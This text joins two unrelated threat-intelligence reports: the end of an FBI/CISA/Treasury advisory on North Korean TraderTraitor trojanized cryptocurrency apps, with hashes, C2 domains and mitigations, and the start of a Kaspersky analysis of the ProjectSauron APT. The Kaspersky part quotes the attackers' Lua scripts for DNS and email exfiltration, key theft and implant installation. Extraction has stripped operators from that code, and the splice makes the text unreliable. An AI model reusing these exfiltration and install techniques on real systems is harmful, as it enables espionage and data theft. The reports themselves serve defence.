]115 Page 5 of 14   Product ID: A22-108A TLP:WHITE https://renderer.prod.js https://update.js FBI  CISA  TreasuryTLP:WHITE Registrar: NameCheap, Inc.
Created: January 27, 2022 Expires: January 27, 2023 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03 Tags: dropper macos Name: TokenAIS.app.zip Size: 118.00 MB (123728267 bytes) MD5: 930f6f729e5c4d5fb52189338e549e5e SHA-1: 8e67006585e49f51db96604487138e688df732d3 SHA-256: 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03 ssdeep: 3145728:aMFJlKVvw4zLruAsHrmo5Vvw4zLruAsHrmob0dC/E:aUlKtw4/r2HNtw4/r2HnMCM CryptAIS CryptAIS uses the same language as TokenAIS to advertise that it helps build a portfolio of AI-based trading.
It is distributed as an Apple Disk Image (DMG) file that is digitally signed by an Apple digital signature issued for the Apple Developer Team CMHD64V5R8.
The certificate associated with Apple Developer Team CMHD64V5R8 has been revoked.
The application requires users to register an account by entering an email address and a password to use its features.
The malicious TraderTraitor code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is bundled in a file called renderer.prod.js, which is in an archive called app.asar.
This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CTR mode and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell.
cryptais[.
]com Information as of August 2021: IP Address: 82.102.31.14 Registrar: NameCheap, Inc.
Created: August 2, 2021 Expires: August 2, 2022 f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b Tags: dropper macos Name: CryptAIS[.
]dmg Size: 80.36 MB (84259810 bytes) MD5: 4e5ebbecd22c939f0edf1d16d68e8490 SHA-1: f1606d4d374d7e2ba756bdd4df9b780748f6dc98 SHA-256: f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b Page 6 of 14   Product ID: A22-108A TLP:WHITE https://82.102.31.14 https://renderer.prod.js https://update.js FBI  CISA  TreasuryTLP:WHITE ssdeep: 1572864:jx9QOwiLDCUrJXsKMoGTwiCcKFI8jmrvGqjL2hX6QklBmrZgkZjMzdPSpR0Xcpk:F9QOTP CUrdsKEw3coIg2Or6XBmrZgkZw AlticGO AlticGO was observed packaged as Nullsoft Scriptable Install System (NSIS) Windows executables that extracted an Electron application packaged for Windows.
These executables contain a simpler version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js, which is bundled in renderer.prod.js, which is in the app.asar archive.
The function calls an external function located in a file node_modules/request/index.js bundled in renderer.prod.js to make an HTTP request to hxxps://www.alticgo[.]com/update/.
One AlticGO sample, e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad, instead contacts hxxps://www.esilet[.
]com/update/ (see below for more information about Esilet).
Some image resources bundled with the application included the CreAI Deck logo (see below for more information about CreAI Deck).
The response is written to disk and executed in a new shell using the child_process.exec() method in Node.js.
Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload.
alticgo[.
]com Information as of August 2020: IP Address: 108.170.55[.
]202 Registrar: NetEarth One Inc.
Created: August 8, 2020 Expires: August 8, 2021 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819 Tags: dropper peexe nsis Name: AlticGO.exe Size: 43.54 MB (45656474 bytes) MD5: 1c7d0ae1c4d2c0b70f75eab856327956 SHA-1: f3263451f8988a9b02268f0fb6893f7c41b906d9 SHA-256: 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819 ssdeep: 786432:optZmVDkD1mZ1FggTqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yVPUXi7:opzKD ginspAU6JXnJ46XeC6cySihWVX Compilation timestamp: 2018-12-15 22:26:14 UTC e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad Tags: dropper peexe nsis Name: AlticGO_R.exe Size: 44.58 MB (46745505 bytes) MD5: 855b2f4c910602f895ee3c94118e979a Page 7 of 14   Product ID: A22-108A TLP:WHITE https://renderer.prod.js https://node_modules/request/index.js https://renderer.prod.js https://update.js FBI  CISA  TreasuryTLP:WHITE SHA-1: ff17bd5abe9f4939918f27afbe0072c18df6db37 SHA-256: e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad ssdeep: 786432:LptZmVDkD1mQIiXUBkRbWGtqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yH:LpzK DgzRpWGwpAU6JXnJ46XeC6cySiI Compilation timestamp: 2020-02-12 16:15:17 UTC 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925 Tags: dropper peexe nsis Name: AlticGO.exe Size: 44.58 MB (46745644 bytes) MD5: 9a6307362e3331459d350a201ad66cd9 SHA-1: 3f2c1e60b5fac4cf1013e3e1fc688be490d71a84 SHA-256: 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925 ssdeep: 786432:AptZmVDkD1mjPNDeuxOTKQqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yV7:Apz KDgqPxeuLpAU6JXnJ46XeC6cySiG Compilation timestamp: 2020-02-12 16:15:17 UTC Esilet Esilet claims to offer live cryptocurrency prices and price predictions.
It contains a simpler version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js, which is bundled in renderer.prod.js, which is in the app.asar archive.
The function calls an external function located in a file node_modules/request/index.js bundled in renderer.prod.js to make an HTTP request to hxxps://www.esilet[.]com/update/.
The response is written to disk and executed in a new shell using the child_process.exec() method in Node.js.
Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload.
Esilet has been observed delivering payloads of at least two different macOS variants of Manuscrypt, 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa and dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156.
Page 8 of 14   Product ID: A22-108A TLP:WHITE https://renderer.prod.js https://node_modules/request/index.js https://renderer.prod.js https://update.js FBI  CISA  TreasuryTLP:WHITE Figure 3: Screenshot of the UpdateCheckSync() function in Esilet esilet[.
]com Information as of June 2020: IP Address: 104.168.98[.
]156 Registrar: NameSilo, LLC Created: June 12, 2020 Expires: June 12, 2021 greenvideo[.
]nl Likely legitimate but compromised.
Information as of April 2022: IP Address: 62.84.240[.
]140 Registrar: Flexwebhosting Created: February 26, 2018 Expires: Unknown dafnefonseca[.
]com Likely legitimate but compromised.
Information as of June 2020: IP Address: 151.101.64[.
]119 Registrar: PublicDomainRegistry Page 9 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE Created: August 27, 2019 Expires: August 27, 2022 haciendadeclarevot[.
]com Likely legitimate but compromised.
Information as of June 2020: IP Address: 185.66.41[.
]17 Registrar: cdmon, 10DENCEHISPAHARD, S.L.
Created: March 2, 2005 Expires: March 2, 2023 sche-eg[.
]org Likely legitimate but compromised.
Information as of June 2020: IP Address: 160.153.235[.
]20 Registrar: GoDaddy.com, LLC Created: June 1, 2019 Expires: June 1, 2022 www.vinoymas[.
]ch Likely legitimate but compromised.
Information as of June 2020: IP Address: 46.16.62[.
]238 Registrar: cdmon, 10DENCEHISPAHARD, S.L.
Created: January 24, 2010 Expires: Unknown infodigitalnew[.
]com Likely legitimate but compromised.
Information as of June 2020: IP Address: 107.154.160[.
]132 Registrar: PublicDomainRegistry Created: June 20, 2020 Expires: June 20, 2022 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 Tags: dropper macos Name: Esilet.dmg Size: 77.90 MB (81688694 bytes) MD5: 53d9af8829a9c7f6f177178885901c01 SHA-1: ae9f4e39c576555faadee136c6c3b2d358ad90b9 SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 ssdeep: 1572864:lffyoUnp5xmHVUTdGgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHoBPj9CY EshLqcuAX0I0 Page 10 of 14   Product ID: A22-108A TLP:WHITE www.vinoymas[.
]ch https://GoDaddy.com FBI  CISA  TreasuryTLP:WHITE 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa Tags: trojan macho Name: Esilet-tmpzpsb3 Size: 510.37 KB (522620 bytes) MD5: 1ca31319721740ecb79f4b9ee74cd9b0 SHA-1: 41f855b54bf3db621b340b7c59722fb493ba39a5 SHA-256: 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa ssdeep: 6144:wAulcT94T94T97zDj1I/BkjhkbjZ8bZ87ZMSj71obV/7NobNo7NZTb7hMT5ETZ8I:wDskT1UBg2lir FbpR9mJGpmN C2 Endpoints:    hxxps://greenvideo[.
]nl/wpcontent/themes/top.php hxxps://dafnefonseca[.
]com/wpcontent/themes/top.php hxxps://haciendadeclarevot[.
]com/wpcontent/top.php dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 Tags: trojan macho Name: Esilet-tmpg7lpp Size: 38.24 KB (39156 bytes) MD5: 9578c2be6437dcc8517e78a5de1fa975 SHA-1: d2a77c31c3e169bec655068e96cf4e7fc52e77b8 SHA-256: dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 ssdeep: 384:sdaWs0fDTmKnY4FPk6hTyQUitnI/kmCgr7lUryESll4yg9RpEwrUifJ8ttJOdy:sdayCkY4Fei9mhy/L9 RBrny6y C2 Endpoints: hxxps://scheeg[.
]org/plugins/top.php hxxps://www.vinoymas[.
]ch/wpcontent/plugins/top.php hxxps://infodigitalnew[.
]com/wpcontent/plugins/top.php CreAI Deck CreAI Deck claims to be a platform for artificial intelligence and deep learning.
No droppers for it were identified, but the filenames of the below samples, win32.bin and darwin64.bin, match the naming conventions used by other versions of TraderTraitor when downloading a payload.
Both are samples of Manuscrypt that contact hxxps://aideck[.
]net/board.php for C2 using HTTP POST requests with multipart/formdata Content-Types.
creaideck[.
]com Information as of March 2020: IP Address: 38.132.124[.
]161 Registrar: NameCheap, Inc.
Created: March 9, 2020 Page 11 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE Expires: March 9, 2021 aideck[.
]net Information as of June 2020: IP Address: 89.45.4[.
]151 Registrar: NameCheap, Inc.
Created: June 22, 2020 Expires: June 22, 2021 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36 Tags: trojan peexe Name: win32.bin Size: 2.10 MB (2198684 bytes) MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d SHA-1: d5ff73c043f3bb75dd749636307500b60a436550 SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36 ssdeep: 24576:y3SY/2M3BMr7cdgSLBjbr4nzzy95VV7cEXV:ESZ2ESrHSV3D95oA Compilation timestamp: 2020-06-23 06:06:35 UTC 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957 Tags: trojan macho Name: darwin64.bin Size: 6.44 MB (6757832 bytes) MD5: 8397ea747d2ab50da4f876a36d673272 SHA-1: 48a6d5141e25b6c63ad8da20b954b56afe589031 SHA-256: 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957 ssdeep: 49152:KIH1kEh7zIXlDYwVhb26hRKtRwwfs62sRAdNhEJNDvOL3OXl5zpFFqBNihzTvff:KIH1kEhI1L OJtm2spB Page 12 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE MITIGATIONS North Korean state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest, acquire sensitive cryptocurrency-intellectual property, and gain financial assets.
The U.S. government recommends implementing mitigations to protect critical infrastructure organizations as well as financial sector organizations in the blockchain technology and cryptocurrency industry.
Apply defense-in-depth security strategy.
Apply security principlessuch as least access models and defense-in-depthto user and application privileges to help prevent exploitation attempts from being successful.
Use network segmentation to separate networks into zones based on roles and requirements.
Separate network zones can help prevent lateral movement throughout the organization and limit the attack surface.
See NSAs Top Ten Cybersecurity Mitigation Strategies for strategies enterprise organizations should use to build a defense-in- depth security posture.
Implement patch management.
Initial and follow-on exploitation involves leveraging common vulnerabilities and exposures (CVEs) to gain access to a networked environment.
Organizations should have a timely vulnerability and patch management program in place to mitigate exposure to critical CVEs.
Prioritize patching of internet-facing devices and monitored accordingly for any malicious logic attacks.
Enforce credential requirements and multifactor authentication.
North Korean malicious cyber actors continuously target user credentials, email, social media, and private business accounts.
Organizations should ensure users change passwords regularly to reduce the impact of password spraying and other brute force techniques.
The U.S. government recommends organizations implement and enforce multifactor authentication (MFA) to reduce the risk of credential theft.
Be aware of MFA interception techniques for some MFA implementations and monitor for anomalous logins.
Educate users on social engineering on social media and spearphishing.
North Korean actors rely heavily on social engineering, leveraging email and social media platforms to build trust and send malicious documents to unsuspecting users.
A cybersecurity aware workforce is one of the best defenses against social engineering techniques like phishing.
User training should include how to identify social engineering techniques and awareness to only open links and attachments from trusted senders.
Implement email and domain mitigations.
Maintain awareness of themed emails surrounding current events.
Malicious cyber actors use current events as lure for potential victims as observed during the COVID-19 pandemic.
Organizations should have a robust domain security solution that includes leveraging reputation checks and closely monitoring or blocking newly registered domains (NRDs) in enterprise traffic.
NRDs are commonly established by threat actors prior to malicious engagement.
o HTML and email scanning.
Organizations should disable HTML from being used in emails and scan email attachments.
Embedded scripts may be hard for an antivirus product to detect if they are fragmented.
An additional malware scanning interface product can be integrated to combine potentially malicious payloads and send the payload to the primary antivirus product.
Hyperlinks in emails should also be scanned Page 13 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE and opened with precautionary measures to reduce the likelihood of a user clicking on a malicious link.
Endpoint protection.
Although network security is critical, devices mobility often means traveling and connecting to multiple different networks that offer varying levels of security.
To reduce the risk of introducing exposed hosts to critical networks, organizations should ensure mobile devices have installed security suites to detect and mitigate malware.
Enforce application security.
Application allowlisting enables the organization to monitor programs and only allow those on the approved allowlist to execute.
Allowlisting helps to stop the initial attack, even if the user clicks a malicious link or opens a malicious attachment.
Implement baseline rule sets, such as NSAs Limiting Location Data Exposure guidance, to block execution of unauthorized or malicious programs.
o Disable macros in office products.
Macros are a common method for executing code through an attached office document.
Some office products allow for the disabling of macros that originate from outside of the organization, providing a hybrid approach when the organization depends on the legitimate use of macros.
Windows specific settings can be configured to block internet-originated macros from running.
This can be done in the Group Policy Administrative Templates for each of the associated Office products (specifically Word, Excel and PowerPoint).
Other productivity software, such as LibreOffice and OpenOffice, can be configured to set the Macro Security Level.
Be aware of third-party downloadsespecially cryptocurrency applications.
North Korean actors have been increasingly active with currency generation operations.
Users should always verify file downloads and ensure the source is from a reputable or primary (preferred) source and not from a third-party vendor.
Malicious cyber actors have continuously demonstrated the ability to trojanize applications and gain a foothold on host devices.
Create an incident response plan to respond to possible cyber intrusions.
The plan should include reporting incidents to both the FBI and CISAquick reporting can reduce the severity of incidents and provide valuable information to investigators.
Contact information can be found below.
CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at reportcisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov.
DISCLAIMER The information in this advisory is provided as is for informational purposes only.
The FBI, CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis.
Page 14 of 14   Product ID: A22-108A TLP:WHITE mailto:CyWatchfbi.gov mailto:reportcisa.gov
THE PROJECTSAURON APT Global Research and Analysis Team Version 1.02 (August 9, 2016) The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 2 of 22 Table of Contents Table of Contents .............................................................................................................................................. 2 Executive summary............................................................................................................................................ 3 Victims ............................................................................................................................................................... 5 Technical Summary ........................................................................................................................................... 6 Malware Deployment ........................................................................................................................................ 7 Jumping over the Air-Gap .................................................................................................................................. 8 VirtualEncryptedNetwork .............................................................................................................................. 9 Network exfiltration ........................................................................................................................................ 10 Lua ................................................................................................................................................................... 13 VFS Structure ................................................................................................................................................... 15 C2 Infrastructure ............................................................................................................................................. 16 Attribution ....................................................................................................................................................... 17 Conclusions ...................................................................................................................................................... 21 mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 3 of 22 Executive summary In September 2015, Kaspersky Labs Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network.
Analysis of this incident led to the discovery of a strange executable program library loaded into the memory of the domain controller server.
The library was registered as a Windows password filter and had access to sensitive data such as administrative passwords in cleartext.
Additional research revealed signs of activity of a previously unknown threat actor, responsible for large- scale attacks against key governmental entities.
The name, ProjectSauron reflects the fact that the code authors refer to Sauron in the configuration files.
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication, designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods.
Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes.
As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim.
Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry.
That usually results in several infections in countries within that region, or in the targeted industry around the world.
Interestingly, ProjectSauron seems to be dedicated to just a few countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area.
This paper in a nutshell ProjectSauron is a modular platform designed to enable long-term cyber-espionage campaigns.
All modules and network protocols use strong encryption algorithms, such as RC6, RC5, RC4, AES, Salsa20, etc.
ProjectSauron uses a modified Lua scripting engine to implement the core platform and its plugins.
There are more than 50 different plugin types.
mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 4 of 22 ProjectSauron has high interest in communication encryption software widely used by targeted governmental organisations.
It steals encryption keys, configuration files, and IP addresses of the key infrastructure servers related to the software.
ProjectSauron is able to exfiltrate data from air-gapped networks by using specially-prepared USB storage drives where data is stored in an area invisible to the operating system.
The platform makes extensive use of the DNS protocol for data exfiltration and real-time status reporting.
The APT has been operational since at least June 2011 and was still active in 2016.
The initial infection vector used to penetrate victim networks remains unknown.
The attackers utilize legitimate channels of software distribution for lateral movement within infected networks.
mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 5 of 22 Victims Using our telemetry, we found more than 30 infected organizations in Russia, Iran and Rwanda, and there may be some in Italian-speaking countries.
Many more organizations and geographies are likely to be affected.
The organizations attacked are key entities that provide core state functions: Government Scientific research centers Military Telecommunication providers Finance mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 6 of 22 Technical Summary What follows is a summary of the most interesting and unique features of ProjectSauron: 1.
ProjectSauron usually registers its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter.
This feature is typically used by system administrators to enforce password policies and validate new passwords to match specific requirements, such as length and complexity.
This way, the ProjectSauron passive backdoor module starts every time any domain, local user, or administrator logs in or changes a password, and promptly harvests the passwords in plaintext.
2.
In cases where domain controllers lack direct Internet access, the attackers install additional implants on other intranet servers likely to have both Internet access and at the same time generate a lot of network traffic, such as proxyservers, webservers, or software update servers.
After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of other legitimate traffic.
3.
Once installed, the main ProjectSauron modules start working as sleeper cells, displaying no activity of their own and waiting for wakeup commands in the incoming network traffic.
This method of operation ensures ProjectSaurons extended persistence on the servers of targeted organizations.
4.
Most of ProjectSaurons core implants are designed to work as backdoors, downloading new modules or running commands from the attacker purely in memory.
The only way to capture these modules is by making a full memory dump of the infected systems.
5.
Secondary ProjectSauron modules are designed to perform specific functions like stealing documents, recording keystrokes, and hijacking encryption keys from both infected computers and attached USB sticks.
6.
Almost all of ProjectSaurons core implants are unique, have different file names and sizes, and are individually built for each target.
Each modules timestamp, both in the file system and in its own headers, is tailored to the environment into which it is installed.
7.
ProjectSauron implements a modular architecture using its own virtual file system to store additional modules (plugins) and a modified Lua interpreter to execute internal scripts.
There are more than 50 different plugin types.
8.
ProjectSauron works on all modern Microsoft Windows operating systems - both x64 and x86.
We have witnessed infections running on Windows XP x86 as well as Windows 2012 R2 Server Edition x64.
9.
ProjectSauron has extensive network communication abilities using full stacks of the most common network protocols: ICMP, UDP, TCP, DNS, SMTP, and HTTP.
mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 7 of 22 Malware Deployment In several cases, ProjectSauron modules were deployed through the modification of scripts used by system administrators to centrally deploy legitimate software updates within the network.
In essence, the attackers injected a command to start the malware by modifying existing software deployment scripts.
The injected malware is a tiny module (4-5 Kb) that works as a simple downloader.
Once started on the target computers under a network administrator account, the downloader connects to the hard-coded internal or external IP address and downloads the ProjectSauron payload from there.
In cases where the ProjectSauron VFS container is stored on disk in EXE file format, it disguises the files with legitimate software file names, for example: Vendor that uses similar filenames Disguised malware filename Kaspersky Lab kavupdate.exe, kavupd.exe Symantec SsaWrapper.exe, symnet32.dll Microsoft  KB2931368.exe Hewlett-Packard  hptcpprnt.dll VmWare VMwareToolsUpgr32.exe mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 8 of 22 Jumping over the Air-Gap The ProjectSauron toolkit contains a special module designed to move data from airgapped networks to Internet-connected systems.
To achieve this, removable USB devices are used.
Once networked systems are compromised, the attackers wait for a USB drive to be attached to the infected machine.
These USBs are specially formatted to reduce the size of the partition on the USB disk, reserving an amount of hidden data (several hundred megabytes) at the end of the disk for malicious purposes.
This reserved space is used to create a new custom-encrypted partition that wont be recognized by a common OS, such as Windows.
The partition has its own semi-filesystem (or virtual file system, VFS) with two core directories: In and Out.
This method also bypasses many DLP products, since software that disables the plugging of unknown USB devices based on DeviceID wouldnt prevent an attack or data leakage because a genuine recognized USB drive was used.
When penetrating isolated systems, the sole creation of the encrypted storage area in the USB does not enable attackers to get control of the air-gapped machines.
There has to be another component such as a zeroday exploit placed on the main partition of the USB drive.
Unfortunately we havent found any zero- day exploit embedded in the body of any of the malware we analyzed, and we believe it was probably deployed in rare, hard-to-catch instances.
For more information, please see the MyTrampoline section of Technical Analysis for technical details.
mailto:intelreportskaspersky.com https://kas.pr/LrB6 The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 9 of 22 VirtualEncryptedNetwork ProjectSauron actively searches for information related to a rather uncommon, custom network encryption software.
This client-server software is widely adopted by many of the target organizations to secure communications, voice, email, and document exchange.
To avoid possible victim attribution implications based on the real name of the software, we refer to it as VirtualEncryptedNetwork (further abbreviated as VEN).
In a number of cases we analyzed, ProjectSauron deployed malicious modules inside VENs software directory, disguised under similar filenames, accessing the data placed besides its own executable.
Decrypted Lua scripts show that the attackers have a high interest in installed VEN components, encryption keys, virtual network configuration files, and the location of servers that relay encrypted messages between the nodes: local t  w.exec2str(regedit -a \HKEY_LOCAL_MACHINE\\Software\\VirtualEncryptedNetwork\\Components\ grep -i  [snip] ) local r  w.exec2str(cat \ .. l_3_0 .. settings.cfg  grep -i  .. t) w.exec(dir /s /b ap.txt link.txt node.tun VirtualEncryptedNetwork.licence VirtualEncryptedNetworkEMail.key VirtualEncryptedNetwork.ini [snip]  get2 -) Also, one of the embedded ProjectSauron configurations contains a special unique identifier for the targeted server (targetid DWORD) within the VEN network.
Interesting behavior was found in the component that searched for VENs server IP address.
After getting the IP, the ProjectSauron component tries to communicate with the remote server using its own (ProjectSauron) protocol as if it was yet another C2 server.
This suggests that some of VEN communication servers could also be infected with ProjectSauron.
targetId 0D3F0454 sourcePort 60439 targetPort 5003 listenPort 5010 After collecting and exfiltrating  VEN-related data, ProjectSauron components securely self-remove: e  s.format(move -O FakeVirtualEncryptedNetwork.dll FakeVirtualEncryptedNetwork.dl_) w.exec(e) e  s.format(wipe FakeVirtualEncryptedNetwork.dl_) w.exec(e) e  s.format(rbswap FakeVirtualEncryptedNetwork.dl_) w.exec(e) mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 10 of 22 Network exfiltration ProjectSauron uses a number of ways to hide both data exfiltration and the way it receives new commands or modules.
In addition to common ways to exfiltrate data via direct communication with C2s or its intermediate proxies using standard protocols (see Technical Analysis), ProjectSauron utilizes a few uncommon techniques to exfiltrate data: Tunneling over DNS Email DNS One of the plugins we analyzed was internally named DEXT, which probably stands for DNS exfiltration tool.
To avoid generic detection of DNS tunnels at network level, the attackers used it in low-bandwidth mode, which is why it was used solely to exfiltrate target system metadata: domain  bikessport[.
]com execStr  string.format(sinfo  basex -b 32url  dext -l 30 a.
.. domain ..   nslu -) res  w.exec2str(execStr) The example above shows the following ProjectSauron steps written in a Lua script: 1.
Collect common system information using a tool called sinfo 2.
Encode the info into BASE64-format (basex) 3.
Generate a set of DNS packets to a.bikessport[.
]com domain with transferred payload chunks of 30 bytes per packet (dext) 4.
Send generated DNS packets one by one using nslu tool The same approach is used by another script to exfiltrate network configuration information execStr  string.format(netnfo -irc  basex -b 32url  dext -l 30 c. .. domain ..   nslu -) res  w.exec2str(execStr) execStr  string.format(regedit -a \\\HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\ basex -b 32url  dext -l 30 d. .. domain ..   nslu -) res  w.exec2str(execStr) Another interesting feature in ProjectSauron that leverages the DNS protocol is the real-time reporting of the operation progress to a remote server.
Once an operational milestone is achieved, ProjectSauron issues a DNS-request to a special subdomain, which is unique to each target: domain  j.bikessport[.
]com execStr  string.format(nslu yhc9421.
..
domain) w.exec2str(execStr) w.exec(sinfo) w.exec(wfw status) execStr  string.format(nslu yhc9422.
..
domain) mailto:intelreportskaspersky.com https://kas.pr/LrB6 The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 11 of 22 w.exec2str(execStr) w.exec(dinst) w.exec(pstoredi) execStr  string.format(nslu yhc9452.
..
domain) w.exec2str(execStr) w.exec(samdump) w.exec(netx -f) w.exec(w3get -s http://ipchicken.com/index.php) execStr  string.format(nslu yhc9472.
..
domain) Email While we have previously seen malware using email as a data exfiltration method, i.e.
Kimsuky or BlueTermite APT, ProjectSauron APT uses this channel slightly differently.
First, ProjectSauron generates a proper MIME email message that looks identical to an email generated by a common email client software.
Moreover, it inserts mailer application information, Thunderbird 2.0.0.9 (Windows/20071031) in this case.
Email body is a short text message with a unsuspicious subject and a data.bin binary attachment encoded with Base64.
The attachment may look like unknown benign data in unrecognized format but of course it contains stolen data in encrypted form.
The email addresses, message subject and email body are individually selected to each target and are never reused.
Next, ProjectSauron connects directly to an external SMTP server by using a hard-coded IP (i.e.
Google mail server) to send the email.
In cases where direct connections to an external mail server are not allowed in the target network, ProjectSauron searches for an authorized local email server in the protected virtual network by parsing configuration of VEN software and then uses it to send a copy of the email in case of direct connection failure.
externalmail  74.125.148.11  //Google mail server ... mailto  xxx.xxx.xxxgmail.com mailSubject  Regarding your offer mailBody  This is to inform you that I decline your offer.
See attachment.\n Best Regards xxxxx smtpport smtpserver ... buffer  string.format(sMessage-ID: s.slocalhost.localdomains, buffer, id1, id2, endOfRow) buffer  string.format(sFrom: ss, buffer, l_1_1, endOfRow) buffer  string.format(sUser-Agent: Thunderbird 2.0.0.9 (Windows/20071031)s, buffer, endOfRow) buffer  string.format(sMIME-Version: 1.0s, buffer, endOfRow) buffer  string.format(sTo: ss, buffer, l_1_0, endOfRow) buffer  string.format(sSubject: ss, buffer, l_1_2, endOfRow) ... regStr  w.exec2str(cat VirtualEncryptedNetwork.inigrep -i \popsmtp) for k,v in string.gmatch(regStr, (w)([w,. ]))
do if string.lower(k)  smtpserver then smtpserver  v end if string.lower(k)  smtpport then smtpport  v end end mailto:intelreportskaspersky.com https://securelist.com/analysis/publications/57915/the-kimsuky-operation-a-north-korean-apt/ https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/ The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 12 of 22 ... slask  mail(mailto, mailto, mailSubject, mailBody, log) slask2  w.exec2str(smtpsend  .. externalmail ..   .. mailto ..   .. mailto, slask) w.debugf(slask2) slask2  w.exec2str(smtpsend  .. smtpserver ..   .. mailto ..   .. mailto, slask) w.debugf(slask2) mailto:intelreportskaspersky.com The ProjectSauron APT For any inquiries, contact intelreportskaspersky.com                Page 13 of 22 Lua The use of a Lua interpreter allowed the attackers to operate with flexibility by writing a simple Lua script for a target machine.
The original Lua interpreter was modified by the attackers to support Unicode (UTF-16) string encoding.
Below is an example of such a script used to install ProjectSauron modules onto the system: domain  bikessport[.
]com dllName  msprtssp.dll install_zeta2  function() windir  os.getenv(WINDIR) execStr  string.format(put2 zeta2dll \s\\SYSTEM32\\s\, windir, dllName) res  w.exec2str(execStr) if string.find(res, kb/sec)  nil then w.printf(put2 failed\ns\n, res) return false end execStr  string.format(nslu gc3220.
..
domain) w.exec2str(execStr) regwrite  false regStr  w.exec2str(regedit -r \HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\ grep -i SecurityProviders) w.printf(regStr s\n, regStr) for k,v in string.gmatch(regStr, \(w)\\([w,.
])\)
